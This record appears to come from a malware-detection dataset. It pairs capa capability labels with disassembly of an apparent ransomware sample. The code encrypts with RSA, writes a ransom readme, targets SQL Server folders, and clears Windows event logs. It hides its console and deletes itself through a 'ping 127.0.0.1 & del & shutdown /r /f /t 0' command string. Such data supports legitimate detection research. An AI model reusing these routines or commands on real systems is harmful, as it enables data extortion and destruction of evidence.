joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad7821a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x3ad78229
pop dword [ebp - 0x14]
mov eax, 0x3ad78229
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3cf07
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x709278a5
sub ecx, 0x70921b4c
xor ebx, ebx
add ebx, eax
mov esi, 0x3ad83e00
add esi, dword [ebp - 0x14]
mov edx, 0x7d8f1768
add edx, 0x5ad87f34
xor dword [ebp - 0x10], 0x521511ca
mov edi, dword [esi]
xor dword [ebp - 0x10], 0x2b14257a
add edi, edx
mov dword [ebx], edi
add ebx, 4
add esi, 0x1d6e01e0
sub esi, 0x1d6e01dc
loop 0x3ad7827a
add eax, 0x16837
mov ebx, eax
add eax, 0x546b0dce
sub eax, 0x546b0dc9
mov ecx, 0xc87f618
add ecx, 0x2e4f09e8
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4012d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x15
mov dword [ebp - 8], 0
call fcn.00416e4b
mov ebx, eax
xorps xmm0, xmm0
mov dword [ebp - 0xc], ebx
movups xmmword [ebx], xmm0
mov dword [ebx + 0x10], 0
mov byte [ebx + 0x14], 0
push dword [0x43a888]
push str.Readme._ls.txt
push ebx
call fcn.00402680
mov esi, ebx
add esp, 0x10
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401315
sub esi, ecx
push edi
lea eax, [esi*2 + 2]
test eax, eax
jne 0x401331
xor edi, edi
mov dword [ebp - 4], edi
jmp 0x40134f
push eax
call fcn.00416e4b
mov edi, eax
lea eax, [esi*2 + 2]
push eax
push 0
push edi
mov dword [ebp - 4], edi
call fcn.00413b10
add esp, 0x10
lea ecx, [esi + 1]
push ecx
push edi
push esi
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, dword [ebp + 8]
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401370
sub ecx, edx
mov edx, edi
sar ecx, 1
lea ebx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x401384
sub edx, ebx
sar edx, 1
lea eax, [edx + ecx]
lea eax, [eax*2 + 2]
mov dword [ebp + 8], eax
test eax, eax
jne 0x4013a8
xor ebx, ebx
jmp 0x4013be
push eax
call fcn.00416e4b
push dword [ebp + 8]
mov ebx, eax
push 0
push ebx
call fcn.00413b10
add esp, 0x10
mov ecx, ebx
sub ecx, esi
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx + esi - 2], ax
test ax, ax
jne 0x4013c2
push 0x5c
push ebx
call fcn.00413a63
add esp, 8
mov edx, edi
xor ecx, ecx
mov esi, edx
mov word [eax + 2], cx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4013e7
sub edx, esi
lea edi, [ebx - 2]
nop word [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401400
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push ebx
call fcn.00417464
add esp, 8
test eax, eax
je 0x40148f
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x43a88c]
mov esi, eax
push 1
push 0
push 0
push str.content
push ecx
push ecx
call fcn.004105b0
add esp, 0x18
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0x18]
mov ecx, edx
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401470
push 0
lea eax, [ebp - 8]
sub ecx, edi
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
pop edi
test eax, eax
je 0x4014a0
push eax
call fcn.00416e46
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4014b0
push eax
call fcn.00416e46
add esp, 4
test ebx, ebx
je 0x4014bd
push ebx
call fcn.00416e46
add esp, 4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4014d0
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 4]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
push 0
push 1
push 0
push 0
push eax
call esi
test eax, eax
jne 0x40152b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x40152b
push 8
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call esi
test eax, eax
jne 0x40152b
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov esi, dword [ebx + 8]
push esi
call fcn.00416e4b
push esi
mov edi, eax
push 0
push edi
call fcn.00413b10
add esp, 0x10
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x4016c4
xor ecx, ecx
test esi, esi
jle 0x4016c4
cmp esi, 8
jb 0x4016a1
cmp dword [0x439e74], 2
jl 0x4016a1
mov eax, esi
and eax, 0x80000007
jns 0x401583
dec eax
or eax, 0xfffffff8
inc eax
movaps xmm0, xmmword [str._________________AL]
mov edx, esi
movaps xmm3, xmmword [0x4293f0]
sub edx, eax
movaps xmm5, xmmword [0x4293c0]
mov eax, 6
movaps xmmword [ebp - 0x20], xmm0
movd xmm4, eax
mov eax, 0x1f
movd xmm6, eax
mov eax, dword [ebp - 0x20]
nop word [eax + eax]
movd xmm0, dword [edi + ecx]
pmovzxbd xmm2, xmm0
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4293d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd dword [edi + ecx], xmm1
movd xmm0, dword [edi + ecx + 4]
pmovzxbd xmm2, xmm0
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4293d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd dword [edi + ecx + 4], xmm1
add ecx, 8
cmp ecx, edx
jl 0x4015c0
cmp ecx, esi
jge 0x4016c4
mov dword [ebp - 8], 0x5e
nop dword [eax]
movzx eax, byte [ecx + edi]
xor edx, edx
div dword [ebp - 8]
add dl, 0x20
mov byte [ecx + edi], dl
inc ecx
cmp ecx, esi
jl 0x4016b0
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4016e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x1000
call fcn.00416e4b
push 0x1000
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x14], ebx
call fcn.00413b10
push 0x200
call fcn.00416e4b
push 0x200
mov esi, eax
push 0
push esi
mov dword [ebp - 4], esi
call fcn.00413b10
add esp, 0x20
push ebx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov edi, ebx
lea ecx, [ebx + 2]
mov dword [ebp - 8], edi
nop dword [eax + eax]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x401740
sub ebx, ecx
sar ebx, 1
test ebx, ebx
jle 0x401870
mov eax, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x10], eax
nop
push edi
call eax
cmp eax, 3
jne 0x401848
push 0x100
push 0
push esi
call fcn.00413b10
mov edx, esi
add esp, 0xc
sub edx, edi
mov ecx, edi
mov dword [ebp - 0xc], edx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x401785
lea edi, [esi - 2]
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4017a0
mov ecx, 0x11
mov esi, str.Program_FilesMicrosoft_SQL_Server
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 4]
push esi
call fcn.00401210
mov edx, dword [ebp + 8]
add esp, 4
mov ecx, eax
cmp dword [edx], 0
jne 0x4017d4
mov dword [edx], ecx
jmp 0x4017da
mov eax, dword [edx + 4]
mov dword [eax + 0x10], ecx
push 0x100
push 0
push esi
mov dword [edx + 4], ecx
call fcn.00413b10
mov ecx, dword [ebp - 8]
add esp, 0xc
mov edx, dword [ebp - 0xc]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x4017f3
lea edi, [esi - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401806
push dword [ebp - 4]
mov ecx, 0x14
mov esi, str.Program_Files__x86_Microsoft_SQL_Server
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00401210
mov esi, dword [ebp + 8]
add esp, 4
mov edi, dword [ebp - 8]
mov ecx, eax
cmp dword [esi], 0
jne 0x40183c
mov dword [esi], ecx
jmp 0x401842
mov eax, dword [esi + 4]
mov dword [eax + 0x10], ecx
mov dword [esi + 4], ecx
mov esi, dword [ebp - 4]
lea edi, [edi + ebx*2]
add edi, 2
mov ebx, edi
mov dword [ebp - 8], edi
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x401856
mov eax, dword [ebp - 0x10]
sub ebx, ecx
sar ebx, 1
test ebx, ebx
jg 0x401760
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x401880
push eax
call fcn.00416e46
add esp, 4
test esi, esi
je 0x40188d
push esi
call fcn.00416e46
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401a30
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48c
push ebx
push esi
push edi
push 0x201
mov dword [ebp - 8], 0
call fcn.00416e4b
push 0x201
mov edi, eax
push 0
push edi
mov dword [ebp - 4], edi
call fcn.00413b10
push 7
call fcn.00416e4b
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
lea eax, [ebp - 0x28]
push eax
call fcn.00406ad0
lea eax, [ebp - 0x1c]
push eax
call fcn.00406ad0
lea eax, [ebp - 0xd4]
push eax
call fcn.00407c60
lea eax, [ebp - 0x214]
push eax
call fcn.00408770
lea eax, [ebp - 0x48c]
push eax
call fcn.00408430
push 0xb
push str.rsa_encrypt
lea eax, [ebp - 0x48c]
push eax
lea eax, [ebp - 0x214]
push 0x4082d0
push eax
call fcn.004089c0
lea eax, [ebp - 8]
push eax
call fcn.00402500
mov ebx, eax
mov ecx, 0x80
mov eax, dword [ebp - 0xc]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x200]
add esp, 0x40
mov dword [eax], ecx
mov cx, word [ebx + 0x204]
mov word [eax + 4], cx
push 0xa
call fcn.00416e4b
push dword [ebp - 8]
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0x10], esi
movq qword [esi], xmm0
mov word [esi + 8], 0
movq xmm0, qword [ebx + 0x206]
movq qword [esi], xmm0
mov cl, byte [ebx + 0x20e]
mov byte [esi + 8], cl
call fcn.00416e46
add esp, 8
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401b32
sub esi, ecx
lea ebx, [esi*2 + 2]
test ebx, ebx
jne 0x401b4a
xor edi, edi
jmp 0x401b5e
push ebx
call fcn.00416e4b
push ebx
mov edi, eax
push 0
push edi
call fcn.00413b10
add esp, 0x10
lea ecx, [esi + 1]
push ecx
push edi
push esi
push dword [ebp - 0x10]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [0x43a888], edi
mov edi, dword [ebp - 4]
mov ecx, edi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b80
sub ecx, edx
je 0x401c1b
mov esi, dword [ebp - 0xc]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401b97
sub eax, edx
je 0x401c1b
push edi
lea eax, [ebp - 0x28]
push 0x10
push eax
call fcn.00406e20
push esi
lea eax, [ebp - 0x1c]
push 0x10
push eax
call fcn.00406e20
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xd4]
push eax
call fcn.00407bb0
push 0x200
call fcn.00416e4b
push 0x200
mov esi, eax
push 0
push esi
call fcn.00413b10
add esp, 0x40
lea eax, [ebp - 0x214]
push esi
push dword [ebp + 8]
push dword [ebp + 0xc]
push eax
lea eax, [ebp - 0xd4]
push 0x4087a0
push eax
call fcn.00407c90
add esp, 0x18
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.0041710b
int3
Function at 0x402500
Capabilities:
Connect network resource
Get file size
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push edi
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push dword [0x43a890]
mov dword [ebp - 8], 0
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x4025fd
mov edx, dword [0x43a890]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402546
sub ecx, esi
lea edi, [ecx + 1]
test edi, edi
jne 0x40255a
xor esi, esi
jmp 0x402574
push edi
call fcn.00416e4b
push edi
mov esi, eax
push 0
push esi
call fcn.00413b10
mov edx, dword [0x43a890]
add esp, 0x10
mov ecx, esi
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [ecx], al
lea ecx, [ecx + 1]
test al, al
jne 0x402576
push 0x5c
push esi
call fcn.004136c0
add esp, 8
xorps xmm0, xmm0
mov byte [eax], 0
lea eax, [ebp - 0x28]
push 4
push 0
push 0
push eax
mov dword [ebp - 0x28], 0
movlpd qword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xc], 0
call sub.MPR.dll_WNetAddConnection2A
test esi, esi
je 0x4025dc
push esi
call fcn.00416e46
add esp, 4
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push dword [0x43a890]
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x40266e
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
lea esi, [eax + 0x400]
test esi, esi
jne 0x402617
xor ebx, ebx
jmp 0x40262e
push esi
call fcn.00416e4b
push esi
mov ebx, eax
push 0
push ebx
call fcn.00413b10
mov eax, dword [ebp - 4]
add esp, 0x10
mov esi, dword [ebp + 8]
lea ecx, [ebp - 8]
push 0
push ecx
push eax
push ebx
push edi
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esi]
pop edi
mov edx, dword [esi + 0x3c]
add edx, esi
movzx eax, word [edx + 6]
lea ecx, [eax + eax*4]
movzx eax, word [edx + 0x14]
add eax, edx
mov edx, dword [eax + ecx*8 + 4]
add edx, dword [eax + ecx*8]
lea eax, [esi + edx]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.0041710b
int3
Function at 0x402dd0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0x18], 0
push eax
push 0
push 8
mov word [ebp - 0x14], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402e2d
call esi
cmp eax, 0x3f0
jne 0x402f33
lea eax, [ebp - 4]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402f33
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 2
push dword [ebp - 4]
call edi
test eax, eax
jne 0x402f33
call esi
cmp eax, 0x7a
jne 0x402f33
mov esi, dword [ebp - 0xc]
mov eax, esi
call fcn.00412a80
mov ebx, esp
test ebx, ebx
je 0x402f33
lea eax, [ebp - 0xc]
push eax
push esi
push ebx
push 2
push dword [ebp - 4]
call edi
test eax, eax
je 0x402f33
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x402f33
xor esi, esi
mov dword [ebp - 8], 0
cmp dword [ebx], esi
jbe 0x402f1d
lea edi, [ebx + 4]
nop dword [eax]
push dword [ebp - 0x10]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x402eed
inc esi
add edi, 8
cmp esi, dword [ebx]
jb 0x402ec0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 8], 0
je 0x402f16
mov eax, dword [ebx + esi*8 + 8]
push dword [ebp - 0x10]
shr eax, 2
and eax, 1
mov dword [ebp - 8], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 8], 1
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f40
Capabilities:
Access the windows event log
Clear windows event logs
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x43a878]
sub esp, 0x10
push ebx
push esi
push edi
test eax, eax
je 0x402f65
push eax
call fcn.00416e46
add esp, 4
mov dword [0x43a878], 0
mov eax, dword [0x43a874]
test eax, eax
je 0x402f81
push eax
call fcn.00416e46
add esp, 4
mov dword [0x43a874], 0
push 0x80
call fcn.00416e4b
mov ecx, dword [0x43a88c]
mov ebx, eax
push 1
push 0
push 0
push str.delete_eventlogs
push ecx
push ecx
mov dword [ebp - 4], ebx
call fcn.004105b0
push eax
call fcn.00401990
add esp, 0x20
mov ecx, str.true
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402fd6
test dl, dl
je 0x402fd2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402fd6
add eax, 2
add ecx, 2
test dl, dl
jne 0x402fb6
xor eax, eax
jmp 0x402fdb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x403027
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor esi, esi
mov dword [ebp - 0x10], str.application
mov dword [ebp - 0xc], str.system
mov dword [ebp - 8], str.security
nop dword [eax]
push dword [ebp + esi*4 - 0x10]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x40301e
push 0
push edi
call ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jl 0x403000
mov ebx, dword [ebp - 4]
mov eax, dword [0x43a88c]
push 1
push 0
push 0
push str.shutdown_system
push eax
push eax
call fcn.004105b0
push eax
call fcn.00401990
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x1c
mov esi, eax
push 0
push str.cmd__c__taskkill__f__im_cmd.exe__taskkill__f__im_conhost.exe_
call edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x4030a6
mov eax, str.true
nop dword [eax]
mov cl, byte [esi]
cmp cl, byte [eax]
jne 0x403090
test cl, cl
je 0x40308c
mov cl, byte [esi + 1]
cmp cl, byte [eax + 1]
jne 0x403090
add esi, 2
add eax, 2
test cl, cl
jne 0x403070
xor eax, eax
jmp 0x403095
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4030a6
push dword [0x43a890]
push str.cmd__c__ping_127.0.0.1__del_C:ProgramData1.bat__del__s__shutdown__r__f__t_0_
jmp 0x4030b1
push dword [0x43a890]
push str.cmd__c__ping_127.0.0.1__del_C:ProgramData1.bat__del__s_
push ebx
call fcn.00402680
add esp, 0xc
push 0
push ebx
call edi
push 0
call fcn.0041710b
int3
Function at 0x4033f0
Capabilities:
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push ebx
push esi
push edi
push 0x64
lea eax, [ebp - 0xd4]
push 0
push eax
call fcn.00413b10
push 0x64
lea eax, [ebp - 0x70]
push 0
push eax
call fcn.00413b10
push 0x42946c
push str.C:ProgramDataicon.ico
mov dword [ebp - 4], 0
call fcn.004176f3
mov ecx, dword [0x43a88c]
mov ebx, eax
push 1
push 0
push 0
push 0x429488
push ecx
push ecx
call fcn.004105b0
push eax
call fcn.00401990
mov esi, eax
add esp, 0x3c
mov edx, esi
lea eax, [edx + 1]
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403460
sub edx, eax
lea eax, [ebp - 4]
push edx
push esi
push eax
push 0
push 0
call fcn.00408a50
push dword [ebp - 4]
call fcn.00401960
mov edx, esi
mov edi, eax
add esp, 0x18
lea eax, [edx + 1]
nop word [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x403490
sub edx, eax
lea eax, [ebp - 4]
push edx
push esi
push eax
push dword [ebp - 4]
push edi
call fcn.00408a50
push ebx
push dword [ebp - 4]
push 1
push edi
call fcn.00417942
push ebx
call fcn.004175b2
push dword [0x43a888]
lea eax, [ebp - 0xd4]
push str.._ls
push eax
call fcn.00402680
push dword [0x43a888]
lea eax, [ebp - 0x70]
push str._lsfile
push eax
call fcn.00402680
add esp, 0x40
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0xd4]
push eax
push 0x80000000
call ebx
lea ecx, [ebp - 0x70]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403517
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x70]
sub ecx, edx
push ecx
push eax
push 1
push 0
push 0
push dword [ebp - 8]
call esi
push dword [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea ecx, [ebp - 0x70]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403545
mov eax, dword [str.DefaultIcon]
mov dword [ecx], eax
mov eax, dword [0x4294a0]
mov dword [ecx + 4], eax
mov eax, dword [0x4294a4]
mov dword [ecx + 8], eax
mov al, byte [0x4294a8]
mov byte [ecx + 0xc], al
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
push 0x80000000
call ebx
push 0x17
push str.C:ProgramDataicon.ico
push 1
push 0
push 0
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call edi
push 0
push 0
push 0
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4035c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push 0
push dword [esi]
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi]
mov dword [0x43a890], eax
call fcn.004030d0
call fcn.00403340
call fcn.00402f40
int3